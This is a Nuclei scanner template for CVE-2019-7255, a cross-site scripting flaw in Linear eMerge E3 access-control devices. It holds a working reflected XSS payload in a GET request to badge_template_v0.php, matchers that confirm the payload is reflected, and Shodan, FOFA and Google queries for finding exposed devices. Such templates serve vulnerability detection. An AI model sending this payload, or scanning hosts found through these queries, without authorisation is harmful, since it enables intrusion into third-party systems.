id: CVE-2019-7255

info:
  name: Linear eMerge E3 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Linear eMerge E3-Series devices are vulnerable to cross-site scripting via the 'layout' parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://www.applied-risk.com/resources/ar-2019-005
    - https://applied-risk.com/labs/advisories
    - https://packetstormsecurity.com/files/155253/Linear-eMerge-E3-1.00-06-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7255
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-7255
    cwe-id: CWE-79
    epss-score: 0.55807
    epss-percentile: 0.98944
    cpe: cpe:2.3:o:nortekcontrol:linear_emerge_essential_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nortekcontrol
    product: linear_emerge_essential_firmware
    shodan-query:
      - http.title:"eMerge"
      - http.title:"emerge"
    fofa-query: title="emerge"
    google-query: intitle:"emerge"
  tags: cve,cve2019,emerge,xss,packetstorm,nortek,nortekcontrol,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/badging/badge_template_v0.php?layout=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Template : <script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009a8b7c93453fac1882025069503fa079c502c48eba5c2b97fa132531cb7da687022100df231cebf5dbd005521345a60909547e60bdbd9b992fc94890b9d679f21b48fd:922c64590222798bb761d5b6d8e72950